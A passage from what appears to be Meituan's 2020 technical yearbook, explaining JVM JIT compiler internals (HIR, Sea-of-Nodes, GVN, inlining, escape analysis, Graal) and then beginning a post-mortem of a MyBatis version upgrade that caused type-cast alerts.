式的指令。基本块的结构如下图所示：
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其中，predecessors 表示前驱基本块（由于前驱可能是多个，所以是 BlockList 结

构，是多个 BlockBegin 组成的可扩容数组）。同样，successors 表示多个后继基本

块 BlockEnd。除了这两部分就是主体块，里面包含程序执行的指令和一个 next 指

针，指向下一个执行的主体块。

从字节码到 HIR 的构造最终调用的是 GraphBuilder，GraphBuilder 会遍历字节码

构造所有代码基本块储存为一个链表结构，但是这个时候的基本块只有 BlockBegin，

不包括具体的指令。第二步 GraphBuilder 会用一个 ValueStack 作为操作数栈和局

部变量表，模拟执行字节码，构造出对应的 HIR，填充之前空的基本块，这里给出简

单字节码块构造 HIR 的过程示例，如下所示：
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字节码构造 HIR

        字节码                     Local Value             operand stack              
HIR
      5: iload_1                  [i1,i2]                 [i1]
      6: iload_2                  [i1,i2]                 [i1,i2]   
                                  .......................................
.........   i3: i1 * i2
      7: imul                                   
      8: istore_3                 [i1,i2，i3]              [i3]

可以看出，当执行 iload_1 时，操作数栈压入变量 i1，执行 iload_2 时，操作数栈压

入变量 i2，执行相乘指令 imul 时弹出栈顶两个值，构造出 HIR i3 : i1 * i2，生成的

i3 入栈。

C1 编译器优化大部分都是在 HIR 之上完成的。当优化完成之后它会将 HIR 转化为

LIR，LIR 和 HIR 类似，也是一种编译器内部用到的 IR，HIR 通过优化消除一些中

间节点就可以生成 LIR，形式上更加简化。

Sea-of-Nodes	IR

C2 编译器中的 Ideal Graph 采用的是一种名为 Sea-of-Nodes 中间表达形式，同

样也是 SSA 形式的。它最大特点是去除了变量的概念，直接采用值来进行运算。为

了方便理解，可以利用 IR 可视化工具 Ideal Graph Visualizer（IGV），来展示具体

的 IR 图。比如下面这段代码：

example

public static int foo(int count) {
  int sum = 0;
  for (int i = 0; i < count; i++) {
    sum += i;
  }
  return sum;
}

对应的 IR 图如下所示：



后台　<　481

图中若干个顺序执行的节点将被包含在同一个基本块之中，如图中的 B0、B1 等。

B0 基本块中 0 号 Start 节点是方法入口，B3 中 21 号 Return 节点是方法出口。红

色加粗线条为控制流，蓝色线条为数据流，而其他颜色的线条则是特殊的控制流或

数据流。被控制流边所连接的是固定节点，其他的则是浮动节点（浮动节点指只要

能满足数据依赖关系，可以放在不同位置的节点，浮动节点变动的这个过程称为

Schedule）。

这种图具有轻量级的边结构。 图中的边仅由指向另一个节点的指针表示。节点是

Node 子类的实例，带有指定输入边的指针数组。这种表示的优点是改变节点的输入

边很快，如果想要改变输入边，只要将指针指向 Node，然后存入 Node 的指针数组

就可以了。
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依赖于这种图结构，通过收集程序运行的信息，JVM 可以通过 Schedule 那些浮动

节点，从而获得最好的编译效果。

Phi	And	Region	Nodes

Ideal Graph 是 SSA IR。 由于没有变量的概念，这会带来一个问题，就是不同执行

路径可能会对同一变量设置不同的值。例如下面这段代码 if 语句的两个分支中，分别

返回 5 和 6。此时，根据不同的执行路径，所读取到的值很有可能不同。

example

int test(int x) {
int a = 0;
  if(x == 1) {
    a = 5;
  } else {
    a = 6;
  }
  return a;
}

为了解决这个问题，就引入一个 Phi Nodes 的概念，能够根据不同的执行路径选择

不同的值。于是，上面这段代码可以表示为下面这张图：
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Phi Nodes 中保存不同路径上包含的所有值，Region Nodes 根据不同路径的判断

条件，从 Phi Nodes 取得当前执行路径中变量应该赋予的值，带有 Phi 节点的 SSA

形式的伪代码如下：



484　>　美团 2020 技术年货

Phi Nodes

int test(int x) {
  a_1 = 0;
  if(x == 1){
    a_2 = 5;
  }else {
    a_3 = 6;
  }
  a_4 = Phi(a_2,a_3);
  return a_4;
}

Global	Value	Numbering

Global Value Numbering（GVN） 是一种因为 Sea-of-Nodes 变得非常容易的优

化技术。

GVN 是指为每一个计算得到的值分配一个独一无二的编号，然后遍历指令寻找优化

的机会，它可以发现并消除等价计算的优化技术。如果一段程序中出现了多次操作数

相同的乘法，那么即时编译器可以将这些乘法合并为一个，从而降低输出机器码的大

小。如果这些乘法出现在同一执行路径上，那么 GVN 还将省下冗余的乘法操作。在

Sea-of-Nodes 中，由于只存在值的概念，因此 GVN 算法将非常简单：即时编译器

只需判断该浮动节点是否与已存在的浮动节点的编号相同，所输入的 IR 节点是否一

致，便可以将这两个浮动节点归并成一个。比如下面这段代码：

GVN

a = 1;
b = 2;
c = a + b;
d = a + b;
e = d;

GVN 会利用 Hash 算法编号，计算 a = 1 时，得到编号 1，计算 b = 2 时得到编号

2，计算 c = a + b 时得到编号 3，这些编号都会放入 Hash 表中保存，在计算 d = a 

+ b 时，会发现 a + b 已经存在 Hash 表中，就不会再进行计算，直接从 Hash 表中
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取出计算过的值。最后的 e = d 也可以由 Hash 表中查到而进行复用。

可以将 GVN 理解为在 IR 图上的公共子表达式消除（Common Subexpression 

Elimination，CSE）。两者区别在于，GVN 直接比较值的相同与否，而 CSE 是借助

词法分析器来判断两个表达式相同与否。

2. 方法内联

方法内联，是指在编译过程中遇到方法调用时，将目标方法的方法体纳入编译范围之

中，并取代原方法调用的优化手段。JIT 大部分的优化都是在内联的基础上进行的，

方法内联是即时编译器中非常重要的一环。

Java 服务中存在大量 getter/setter 方法，如果没有方法内联，在调用 getter/setter

时，程序执行时需要保存当前方法的执行位置，创建并压入用于 getter/setter 的栈

帧、访问字段、弹出栈帧，最后再恢复当前方法的执行。内联了对 getter/setter 的

方法调用后，上述操作仅剩字段访问。在 C2 编译器 中，方法内联在解析字节码的过

程中完成。当遇到方法调用字节码时，编译器将根据一些阈值参数决定是否需要内联

当前方法的调用。如果需要内联，则开始解析目标方法的字节码。比如下面这个示例

（来源于网络）：

方法内联的过程

public static boolean flag = true;
public static int value0 = 0;
public static int value1 = 1;
 
public static int foo(int value) {
    int result = bar(flag);
    if (result != 0) {
        return result;
    } else {
        return value;
    }
}
 
public static int bar(boolean flag) {
    return flag ? value0 : value1;
}
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bar 方法的 IR 图：

内联后的 IR 图：
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内联不仅将被调用方法的 IR 图节点复制到调用者方法的 IR 图中，还要完成其他

操作。

被调用方法的参数替换为调用者方法进行方法调用时所传入参数。上面例子中，将

bar 方法中的 1 号 P(0) 节点替换为 foo 方法 3 号 LoadField 节点。

调用者方法的 IR 图中，方法调用节点的数据依赖会变成被调用方法的返回。如果存

在多个返回节点，会生成一个 Phi 节点，将这些返回值聚合起来，并作为原方法调用

节点的替换对象。图中就是将 8 号 == 节点，以及 12 号 Return 节点连接到原 5 号

Invoke 节点的边，然后指向新生成的 24 号 Phi 节点中。

如果被调用方法将抛出某种类型的异常，而调用者方法恰好有该异常类型的处理器，

并且该异常处理器覆盖这一方法调用，那么即时编译器需要将被调用方法抛出异常的

路径，与调用者方法的异常处理器相连接。

方法内联的条件

编译器的大部分优化都是在方法内联的基础上。所以一般来说，内联的方法越多，生

成代码的执行效率越高。但是对于即时编译器来说，内联的方法越多，编译时间也就

越长，程序达到峰值性能的时刻也就比较晚。

可以通过虚拟机参数 -XX:MaxInlineLevel 调整内联的层数，以及 1 层的直接递归调

用（可以通过虚拟机参数 -XX:MaxRecursiveInlineLevel 调整）。一些常见的内联相

关的参数如下表所示：
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虚函数内联

内联是 JIT 提升性能的主要手段，但是虚函数使得内联是很难的，因为在内联阶

段并不知道他们会调用哪个方法。例如，我们有一个数据处理的接口，这个接口

中的一个方法有三种实现 add、sub 和 multi，JVM 是通过保存虚函数表 Virtual 

Method Table（以下称为 VMT）存储 class 对象中所有的虚函数，class 的实例

对象保存着一个 VMT 的指针，程序运行时首先加载实例对象，然后通过实例对象

找到 VMT，通过 VMT 找到对应方法的地址，所以虚函数的调用比直接指向方法地

址的 classic call 性能上会差一些。很不幸的是，Java 中所有非私有的成员函数的

调用都是虚调用。

C2 编译器已经足够智能，能够检测这种情况并会对虚调用进行优化。比如下面这段

代码例子：

virtual call

public class SimpleInliningTest
{
    public static void main(String[] args) throws InterruptedException 
{
        VirtualInvokeTest obj = new VirtualInvokeTest();
        VirtualInvoke1 obj1 = new VirtualInvoke1();
        for (int i = 0; i < 100000; i++) {
            invokeMethod(obj);
            invokeMethod(obj1);
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        }
        Thread.sleep(1000);
    }
 
    public static void invokeMethod(VirtualInvokeTest obj) {
        obj.methodCall();
    }
 
    private static class VirtualInvokeTest {
        public void methodCall() {
            System.out.println("virtual call");
        }
    }
 
    private static class VirtualInvoke1 extends VirtualInvokeTest {
        @Override
        public void methodCall() {
            super.methodCall();
        }
    }
}

经过 JIT 编译器优化后，进行反汇编得到下面这段汇编代码：

 0x0000000113369d37: callq  0x00000001132950a0  ; OopMap{off=476}
                                                ;*invokevirtual 
methodCall  //代表虚调用
                                                ; - 
SimpleInliningTest::invokeMethod@1 (line 18)
                                                ;   {optimized virtual_
call}  //虚调用已经被优化

可以看到 JIT 对 methodCall 方法进行了虚调用优化 optimized virtual_call。经过优

化后的方法可以被内联。但是 C2 编译器的能力有限，对于多个实现方法的虚调用就

“无能为力”了。

比如下面这段代码，我们增加一个实现：

多实现的虚调用

public class SimpleInliningTest
{
    public static void main(String[] args) throws InterruptedException 
{
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        VirtualInvokeTest obj = new VirtualInvokeTest();
        VirtualInvoke1 obj1 = new VirtualInvoke1();
        VirtualInvoke2 obj2 = new VirtualInvoke2();
        for (int i = 0; i < 100000; i++) {
            invokeMethod(obj);
            invokeMethod(obj1);
        invokeMethod(obj2);
        }
        Thread.sleep(1000);
    }
 
    public static void invokeMethod(VirtualInvokeTest obj) {
        obj.methodCall();
    }
 
    private static class VirtualInvokeTest {
        public void methodCall() {
            System.out.println("virtual call");
        }
    }
 
    private static class VirtualInvoke1 extends VirtualInvokeTest {
        @Override
        public void methodCall() {
            super.methodCall();
        }
    }
    private static class VirtualInvoke2 extends VirtualInvokeTest {
        @Override
        public void methodCall() {
            super.methodCall();
        }
    }
}

经过反编译得到下面的汇编代码：

代码块

 0x000000011f5f0a37: callq  0x000000011f4fd2e0  ; OopMap{off=28}
                                                ;*invokevirtual 
methodCall  //代表虚调用
                                                ; - 
SimpleInliningTest::invokeMethod@1 (line 20)
                                                ;   {virtual_call}  //虚
调用未被优化
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可以看到多个实现的虚调用未被优化，依然是 virtual_call。

Graal 编译器针对这种情况，会去收集这部分执行的信息，比如在一段时间，发现前

面的接口方法的调用 add 和 sub 是各占 50% 的几率，那么 JVM 就会在每次运行

时，遇到 add 就把 add 内联进来，遇到 sub 的情况再把 sub 函数内联进来，这样这

两个路径的执行效率就会提升。在后续如果遇到其他不常见的情况，JVM 就会进行

去优化的操作，在那个位置做标记，再遇到这种情况时切换回解释执行。

3.	逃逸分析

逃逸分析是“一种确定指针动态范围的静态分析，它可以分析在程序的哪些地方可以

访问到指针”。Java 虚拟机的即时编译器会对新建的对象进行逃逸分析，判断对象是

否逃逸出线程或者方法。即时编译器判断对象是否逃逸的依据有两种：

1. 对象是否被存入堆中（静态字段或者堆中对象的实例字段），一旦对象被存入

堆中，其他线程便能获得该对象的引用，即时编译器就无法追踪所有使用该

对象的代码位置。

2. 对象是否被传入未知代码中，即时编译器会将未被内联的代码当成未知代码，

因为它无法确认该方法调用会不会将调用者或所传入的参数存储至堆中，这

种情况，可以直接认为方法调用的调用者以及参数是逃逸的。

逃逸分析通常是在方法内联的基础上进行的，即时编译器可以根据逃逸分析的结果

进行诸如锁消除、栈上分配以及标量替换的优化。下面这段代码的就是对象未逃逸

的例子：

pulbic class Example{
    public static void main(String[] args) {
      example();
    }
    public static void example() {
      Foo foo = new Foo();
      Bar bar = new Bar();
      bar.setFoo(foo);
    }
  }
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  class Foo {}
 
  class Bar {
    private Foo foo;
    public void setFoo(Foo foo) {
      this.foo = foo;
    }
  }
}

在这个例子中，创建了两个对象 foo 和 bar，其中一个作为另一个方法的参数提供。

该方法 setFoo() 存储对收到的 Foo 对象的引用。如果 Bar 对象在堆上，则对 Foo

的引用将逃逸。但是在这种情况下，编译器可以通过逃逸分析确定 Bar 对象本身不会

对逃逸出 example() 的调用。这意味着对 Foo 的引用也不能逃逸。因此，编译器可

以安全地在栈上分配两个对象。

锁消除

在学习 Java 并发编程时会了解锁消除，而锁消除就是在逃逸分析的基础上进行的。

如果即时编译器能够证明锁对象不逃逸，那么对该锁对象的加锁、解锁操作没就有意

义。因为线程并不能获得该锁对象。在这种情况下，即时编译器会消除对该不逃逸锁

对象的加锁、解锁操作。实际上，编译器仅需证明锁对象不逃逸出线程，便可以进行

锁消除。由于 Java 虚拟机即时编译的限制，上述条件被强化为证明锁对象不逃逸出

当前编译的方法。不过，基于逃逸分析的锁消除实际上并不多见。

栈上分配

我们都知道 Java 的对象是在堆上分配的，而堆是对所有对象可见的。同时，JVM 需

要对所分配的堆内存进行管理，并且在对象不再被引用时回收其所占据的内存。如

果逃逸分析能够证明某些新建的对象不逃逸，那么 JVM 完全可以将其分配至栈上，

并且在 new 语句所在的方法退出时，通过弹出当前方法的栈桢来自动回收所分配的

内存空间。这样一来，我们便无须借助垃圾回收器来处理不再被引用的对象。不过

Hotspot 虚拟机，并没有进行实际的栈上分配，而是使用了标量替换这一技术。所谓
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的标量，就是仅能存储一个值的变量，比如 Java 代码中的基本类型。与之相反，聚

合量则可能同时存储多个值，其中一个典型的例子便是 Java 的对象。编译器会在方

法内将未逃逸的聚合量分解成多个标量，以此来减少堆上分配。下面是一个标量替换

的例子：

标量替换

public class Example{
  @AllArgsConstructor
  class Cat{
    int age;
    int weight;
  }
  public static void example(){
    Cat cat = new Cat(1,10);
    addAgeAndWeight(cat.age,Cat.weight);
  }
}

经过逃逸分析，cat 对象未逃逸出 example() 的调用，因此可以对聚合量 cat 进行分

解，得到两个标量 age 和 weight，进行标量替换后的伪代码：

public class Example{
  @AllArgsConstructor
  class Cat{
    int age;
    int weight;
  }
  public static void example(){
    int age = 1;
    int weight = 10;
    addAgeAndWeight(age,weight);
  }
}

部分逃逸分析

部分逃逸分析也是 Graal 对于概率预测的应用。通常来说，如果发现一个对象逃逸

出了方法或者线程，JVM 就不会去进行优化，但是 Graal 编译器依然会去分析当

前程序的执行路径，它会在逃逸分析基础上收集、判断哪些路径上对象会逃逸，哪
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些不会。然后根据这些信息，在不会逃逸的路径上进行锁消除、栈上分配这些优化

手段。

4.	Loop	Transformations

在文章中介绍 C2 编译器的部分有提及到，C2 编译器在构建 Ideal Graph 后会进行很多

的全局优化，其中就包括对循环的转换，最重要的两种转换就是循环展开和循环分离。

循环展开

循环展开是一种循环转换技术，它试图以牺牲程序二进制码大小为代价来优化程序的

执行速度，是一种用空间换时间的优化手段。

循环展开通过减少或消除控制程序循环的指令，来减少计算开销，这种开销包括增加

指向数组中下一个索引或者指令的指针算数等。如果编译器可以提前计算这些索引，

并且构建到机器代码指令中，那么程序运行时就可以不必进行这种计算。也就是说有

些循环可以写成一些重复独立的代码。比如下面这个循环：

循环展开

public void loopRolling(){
  for(int i = 0;i<200;i++){
    delete(i);  
  }
}

上面的代码需要循环删除 200 次，通过循环展开可以得到下面这段代码：

循环展开

public void loopRolling(){
  for(int i = 0;i<200;i+=5){
    delete(i);
    delete(i+1);
    delete(i+2);
    delete(i+3);
    delete(i+4);
  }
}
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这样展开就可以减少循环的次数，每次循环内的计算也可以利用 CPU 的流水线提升

效率。当然这只是一个示例，实际进行展开时，JVM 会去评估展开带来的收益，再

决定是否进行展开。

循环分离

循环分离也是循环转换的一种手段。它把循环中一次或多次的特殊迭代分离出来，在

循环外执行。举个例子，下面这段代码：

循环分离

int a = 10;
for(int i = 0;i<10;i++){
  b[i] = x[i] + x[a];
  a = i;
}

可以看出这段代码除了第一次循环 a = 10 以外，其他的情况 a 都等于 i-1。所以可

以把特殊情况分离出去，变成下面这段代码：

循环分离

b[0] = x[0] + 10;
for(int i = 1;i<10;i++){
  b[i] = x[i] + x[i-1];
}

这种等效的转换消除了在循环中对 a 变量的需求，从而减少了开销。

5.	窥孔优化与寄存器分配

前文提到的窥孔优化是优化的最后一步，这之后就会程序就会转换成机器码，窥孔优

化就是将编译器所生成的中间代码（或目标代码）中相邻指令，将其中的某些组合替

换为效率更高的指令组，常见的比如强度削减、常数合并等，看下面这个例子就是一

个强度削减的例子：
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强度削减

y1=x1*3  经过强度削减后得到  y1=(x1<<1)+x1

编译器使用移位和加法削减乘法的强度，使用更高效率的指令组。

寄存器分配也是一种编译的优化手段，在 C2 编译器中普遍的使用。它是通过把频繁

使用的变量保存在寄存器中，CPU 访问寄存器的速度比内存快得多，可以提升程序

的运行速度。

寄存器分配和窥孔优化是程序优化的最后一步。经过寄存器分配和窥孔优化之后，程

序就会被转换成机器码保存在 codeCache 中。

四、实践

即时编译器情况复杂，同时网络上也很少有实战经验，以下是我们团队的一些调整

经验。

1.	编译相关的重 *	要参数

 ● -XX:+TieredCompilation：开启分层编译，JDK8 之后默认开启

 ● -XX:+CICompilerCount=N：编译线程数，设置数量后，JVM 会自动分配线

程数，C1:C2 = 1:2

 ● -XX:TierXBackEdgeThreshold：OSR 编译的阈值

 ● -XX:TierXMinInvocationThreshold：开启分层编译后各层调用的阈值

 ● -XX:TierXCompileThreshold：开启分层编译后的编译阈值

 ● -XX:ReservedCodeCacheSize：codeCache 最大大小

 ● -XX:InitialCodeCacheSize：codeCache 初始大小

-XX:TierXMinInvocationThreshold 是开启分层编译的情况下，触发编译的阈值

参数，当方法调用次数大于由参数 -XX:TierXInvocationThreshold 指定的阈值乘

以系数，或者当方法调用次数大于由参数 -XX:TierXMINInvocationThreshold 指

定的阈值乘以系数，并且方法调用次数和循环回边次数之和大于由参数 -XX:TierX-
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CompileThreshold 指定的阈值乘以系数时，便会触发 X 层即时编译。分层编译开启

下会乘以一个系数，系数根据当前编译的方法和编译线程数确定，降低阈值可以提升

编译方法数，一些常用但是不能编译的方法可以编译优化提升性能。

由于编译情况复杂，JVM 也会动态调整相关的阈值来保证 JVM 的性能，所以不建议

手动调整编译相关的参数。除非一些特定的 Case，比如 codeCache 满了停止了编

译，可以适当增加 codeCache 大小，或者一些非常常用的方法，未被内联到，拖累

了性能，可以调整内敛层数或者内联方法的大小来解决。

2.	通过 JITwatch 分析编译日志

通 过 增 加 -XX:+UnlockDiagnosticVMOptions -XX:+PrintCompilation -XX-

:+PrintInlining -XX:+PrintCodeCache -XX:+PrintCodeCacheOnCompilation 

-XX:+TraceClassLoading -XX:+LogCompilation -XX:LogFile=LogPath 参 数

可以输出编译、内联、codeCache 信息到文件。但是打印的编译日志多且复杂很难

直接从其中得到信息，可以使用 JITwatch 的工具来分析编译日志。JITwatch 首页

的 Open Log 选中日志文件，点击 Start 就可以开始分析日志。
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如上图所示，区域 1 中是整个项目 Java Class 包括引入的第三方依赖；区域 2 是功

能区 Timeline 以图形的形式展示 JIT 编译的时间轴，Histo 是直方图展示一些信息，

TopList 里面是编译中产生的一些对象和数据的排序，Cache 是空闲 codeCache 空

间，NMethod 是 Native 方法，Threads 是 JIT 编译的线程；区域 3 是 JITwatch 对

日志分析结果的展示，其中 Suggestions 中会给出一些代码优化的建议，举个例子，

如下图中：

我们可以看到在调用 ZipInputStream 的 read 方法时，因为该方法没有被标记为热

点方法，同时又“太大了”，导致无法被内联到。使用 -XX:CompileCommand 中

inline 指令可以强制方法进行内联，不过还是建议谨慎使用，除非确定某个方法内联

会带来不少的性能提升，否则不建议使用，并且过多使用对编译线程和 codeCache

都会带来不小的压力。

区域 3 中的 -Allocs 和 -Locks 逃逸分析后 JVM 对代码做的优化，包括栈上分配、

锁消除等。
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3.	使用Graal 编译器

由于 JVM 会去根据当前的编译方法数和编译线程数对编译阈值进行动态的调整，所

以实际服务中对这一部分的调整空间是不大的，JVM 做的已经足够多了。

为了提升性能，在服务中尝试了最新的 Graal 编译器。只需要使用 -XX:+Unlock-

ExperimentalVMOptions -XX:+UseJVMCICompiler 就可以启动 Graal 编译器来

代替 C2 编译器，并且响应 C2 的编译请求，不过要注意的是，Graal 编译器与 ZGC

不兼容，只能与 G1 搭配使用。

前文有提到过，Graal 是一个用 Java 写的即时编译器，它从 Java 9 开始便被集

成自 JDK 中，作为实验性质的即时编译器。Graal 编译器就是脱身于 GraalVM，

GraalVM 是一个高性能的、支持多种编程语言的执行环境。它既可以在传统的 

OpenJDK 上运行，也可以通过 AOT（Ahead-Of-Time）编译成可执行文件单独运

行，甚至可以集成至数据库中运行。

前文提到过数次，Graal 的优化都基于某种假设（Assumption）。当假设出错的情况

下，Java 虚拟机会借助去优化（Deoptimization）这项机制，从执行即时编译器生成

的机器码切换回解释执行，在必要情况下，它甚至会废弃这份机器码，并在重新收集

程序 profile 之后，再进行编译。

这些中激进的手段使得 Graal 的峰值性能要好于 C2，而且在 Scale、Ruby 这种语

言 Graal 表现更加出色，Twitter 目前已经在服务中大量的使用 Graal 来提升性能，

企业版的 GraalVM 使得 Twitter 服务性能提升了 22%。

使用Graal 编译器后性能表现

在我们的线上服务中，启用 Graal 编译后，TP9999 从 60ms -> 50ms ，下降

10ms，下降幅度达 16.7%。

运行过程中的峰值性能会更高。可以看出对于该服务，Graal 编译器带来了一定的性

能提升。
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Graal 编译器的问题

Graal 编译器的优化方式更加激进，因此在启动时会进行更多的编译，Graal 编译器

本身也需要被即时编译，所以服务刚启动时性能会比较差。

考虑的解决办法：JDK 9 开始提供工具 jaotc，同时 GraalVM 的 Native Image 都是

可以通过静态编译，极大地提升服务的启动速度的方式，但是 GraalVM 会使用自己的

垃圾回收，这是一种很原始的基于复制算法的垃圾回收，相比 G1、ZGC 这些优秀的

新型垃圾回收器，它的性能并不好。同时 GraalVM 对 Java 的一些特性支持也不够，

比如基于配置的支持，比如反射就需要把所有需要反射的类配置一个 JSON 文件，

在大量使用反射的服务，这样的配置会是很大的工作量。我们也在做这方面的调研。

五、总结

本文主要介绍了 JIT 即时编译的原理以及在美团一些实践的经验，还有最前沿的即时

编译器的使用效果。作为一项解释型语言中提升性能的技术，JIT 已经比较成熟了，

在很多语言中都有使用。对于 Java 服务，JVM 本身已经做了足够多，但是我们还

应该不断深入了解 JIT 的优化原理和最新的编译技术，从而弥补 JIT 的劣势，提升

Java 服务的性能，不断追求卓越。
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MyBatis 版本升级引发的线上告警回顾及原理分析

作者：凯伦

背景

某天晚上，美团到店事业群某项系统服务正在进行常规需求的上线。因为在内部

的 Plus 系统发布时，提示 inf-bom 版本需要升级，于是我们就将 inf-bom 版本从

1.3.9.6 升级至 1.4.2.1，如下图 1 所示：

图 1　版本升级

不过，当服务上线后，开始陆续出现了一些更新系统交互日志方面的报警，这属于系

统的辅助流程，报警如下方代码所示。我们发现都是跟 MyBatis 相关的报警，说明

在进行类型转换的时候，系统产生了强转错误。

更新开票请求返回日志 , id:{#######}, 
response:{{"code":XXX,"data":{"callType":3,"code":XXX,"msg":"XXXX",
"shopId":XXXXX,"taxPlateDockType":"XXXXXXX"},"msg":"XXXXX",
"success":XXXX}}
nested execption is org.apache.ibatis.type.TypeException: Could not set 
parameters for mapping: ParameterMapping{property='updateTime', mode=IN, 
javaType=class java.lang.String,
jdbcTyp=null,resultMapId='null',jdbcTypeName='null',expression='null'}.
Cause org.apache.ibatis.type.TypeException,Error setting non null 
parameter #2 with JdbcType null. Try setting a
different Jdbc Type for this parameter or a different configuration 
property.Cause java.lang.ClassCastException:java.time.LocalDateTime 
cannot be cast to java.lang.String

因为报警这一块代码，属于历史功能，如果失败并不会影响主流程。但在定位期间，

如果频繁报警的话，就会造成一定的干扰。因此，我们马上采取了回滚操作，将 inf-



502　>　美团 2020 技术年货

bom 的版本回滚至历史版本，直至报警消失，然后再进行问题的定位和分析。以下

章节就是我们对报警原因的定位及原因详细分析的介绍，希望这些思路能够对大家有

所启发和帮助。

报警原因定位

在回滚完毕后，我们开始具体分析报警产生的主要原因，于是进行了以下几步的

排查。

第一步，查看了报警的 Mapper 方法，如下代码段所示。这个是接收返回参数，根据

主键 id，更新具体响应内容和时间的代码，入参有 3 个，类型分别为 long、String

和 LocalDateTime。

int updateResponse(@Param("id")long id, @Param("response")String 
response, @Param("updateTime")LocalDateTime updateTime);

第 二 步， 我 们 查 看 了 Mapper 方 法 对 应 的 XML 文 件， 如 下 代 码 段 所 示， 对 应

的 parameterType 类 型 是 String， 而 实 际 参 数 的 类 型 包 括 long、String 以 及

LocalDateTime。

<update id="updateResponse" parameterType="java.lang.String">
UPDATE invoice_log
  SET response = #{response}, update_time = #{updateTime}
WHERE id = #{id}
</update>

第三步，我们查看了 MyBatis 上线前后的版本，报警的内容是：MyBatis 在处理

SQL 语句时，发现不能将 LocalDateTime 转型为 String，这一段逻辑在上线前是

可以正常运行的，并且上线的业务逻辑对这段历史代码无改动。因此，我们猜测是因

为 inf-bom 的升级，从而导致 MyBatis 的版本发生了变化，对某些历史功能不再支

持了。MyBatis 版本上线前后的变化如下表所示：
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表 1　MyBatis 版本升级前后对比

第四步，我们通过第三步可以得到，在这次 inf-bom 的版本升级中，MyBatis 的版

本直接升了两个大版本，因此我们可以基本将原因猜测为 MyBatis 升级跨度较大，

导致部分历史功能没有兼容支持，从而引起线上 SQL 的更新报错。

第五步，为了具体验证第四步的想法，我们通过 UT 的方式，将 MyBatis 的版本不

断从 3.4.6 往下降，直至没有报错的位置。最终的定位是：当 MyBatis 版本为 3.2.3

时，线上代码是正常可用的，但只要升一个版本，也就是自 3.2.4 开始，就开始不兼

容目前的用法。不过，我们当时的思路并不是很好，应该从小版本逐个往上升或者使

用二分法，可以加速定位版本的效率。

最后，我们定位到了产生报警的根本问题。总的来说，MyBatis 版本由 inf-bom 引

入而来，inf-bom 从 3.2.3 升级到了 3.4.6 版本，而 MyBatis 自 3.2.4 开始就不支

持目前系统内的 SQL Mapper 的用法，因此在升级后，线上就出现了频繁报警的

问题。

问题已经定位，但是还有很多事情我们需要弄清楚。为什么版本升级后就不兼容历

史的用法？具体是哪一块内容不兼容？背后的原理又是什么？下文，我们会详细进

行分析。
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详细分析

MyBatis 升级 3.2.4 版本的官方Release 公告

首 先， 从 报 错 的 原 因 上 来 看， 请 注 意 这 句 话：“Caused by: java.lang.Class-

CastException: java.lang.LocalDateTime cannot be cast to java.lang.

String.”MyBatis 在构建 SQL 语句时，发现时间字段类型 LocalDateTime 不能

强制转为 String 类型。而这个 SQL 对应的 XML 配置在 3.2.3 的版本是可以正常

使用的，那么我们先从 MyBatis 的 Release Log 上查看 3.2.4 版本到底发生了什

么变化。

 An special remark about this feature. Previous versions ignored the 

“parameterType” attribute and used the actual parameter to calculate 

bindings. This version builds the binding information during startup and the 

“parameterType” attribute is used if present (though it is still optional), so 

in case you had a wrong value for it you will have to change it.

从官网的 Release Log 可以看到，MyBatis 在 3.2.4 以前的版本，会忽略 XML 中

的 parameterType 这个属性，并且使用真实的变量类型进行值的处理。但在 3.2.4

及以后的版本中，这个属性就被启用了，如果出现类型不匹配的话，就会出现转型失

败的报错。这也提示我们开发者，在升级版本时，需要检查系统内的 XML 配置，使

类型进行匹配，或者不设置该属性，让 MyBatis 自行进行计算。

根据以上内容，我们可以了解到，在版本升级后，MyBatis 在构建 SQL 语句，在

获取字段值时的逻辑发生了变化。接下来我们将通过一个简单的示例，来了解一下

MyBatis 在获取字段值这一块的具体代码流程是怎样的，以 3.2.3 版本为例。

以版本 3.2.3 为例，MyBatis 构建 SQL语句过程的原理分析

我们看一下配置，首先定义一个通过主键 id 获取学生信息的方法，仿造系统内的历

史代码，我们将 parameterType 定义为 java.lang.String，这和方法对应的参数 int

并不相同。
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public StudentEntity getStudentById(@Param("id") int id);
<select id="getStudentById" parameterType="java.lang.String" 
resultType="entity.StudentEntity">
SELECT id,name,age FROM student WHERE id = #{id}
</select>

MyBatis 框架要做的事情，就是在运行 getStudentById(2) 的时候，将 #{id} 进行

替换，使 SQL 语句变成 SELECT id,name,age FROM student WHERE id = 2。

MyBatis 要将 SQL 语句完整替换成带参数值的版本，需要经历框架初始化以及实际

运行时动态替换这两个部分。因为 MyBatis 的代码非常多，接下来我们主要阐释和

本次案例相关的内容。

在框架初始化阶段，主要包括以下流程，如下图 2 所示：

图 2　框架初始化流程
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在框架初始化阶段，有一些组件会被构建，逐一做个简单的介绍：

 ● SqlSession：作为 MyBatis 工作的主要顶层 API，表示和数据库交互的会

话，完成必要的数据库增删改查功能。

 ● 数据库增删改查功能：负责根据用户传递的 parameterObject，动态地生成

SQL 语句，将信息封装到 BoundSql 对象中，并返回。

 ● Configuration：MyBatis 所有的配置信息都维持在 Configuration 对象之中。

接下来，我们主要关注 SqlSource，这个类会负责生成 SQL 语句，这也是本次案例

中，3.2.3 和 3.2.4 差异比较大的一个地方。下面，我们会介绍一些源码。

在 构 建 Configuration 的 过 程 中， 会 涉 及 到 构 建 对 应 每 一 条 SQL 语 句 对 应 的

MappedStatement，parameterTypeClass 就 是 根 据 我 们 在 XML 配 置 中 写 的

parameterType 转换而来，值为 java.lang.String，在构建 SqlSource 时，传入这

个参数。如下图 3 所示：

图 3　SqlSource 依赖参数

在 SqlSource 的构建中，parameterType 参数其实是被忽略不用的，并没有继续

往下传递，这跟官方的描述是一致的。因为 3.2.4 之前这个 parameterType 属性被
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忽略了，然后就创建了 DynamicSqlSource，这个类主要是用于处理 MyBatis 动态

SQL 的类。如下图 4 所示：

图 4　SqlSource 构建

在框架初始化的阶段，需要介绍的内容，在 3.2.3 版本已经介绍完毕。当执行

getStudentById 方法时，MyBatis 的流程如下图 5 所示。因受限于图片长度，我们

对布局进行了一些调整：

图 5　运行流程
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在具体执行阶段，也涉及到一些组件，我们需要做简单的了解：

 ● SqlSession：作为 MyBatis 工作的主要顶层 API，表示和数据库交互的会

话，完成必要数据库增删改查功能。

 ● Executor：MyBatis 执行器，这是 MyBatis 调度的核心，负责 SQL 语句的

生成和查询缓存的维护。

 ● BoundSql：表示动态生成的 SQL 语句以及相应的参数信息。

 ● StatementHandler： 封 装 了 JDBC Statement 操 作， 负 责 对 JDBC 

statement 的操作，如设置参数、将 Statement 结果集转换成 List 集合等等。

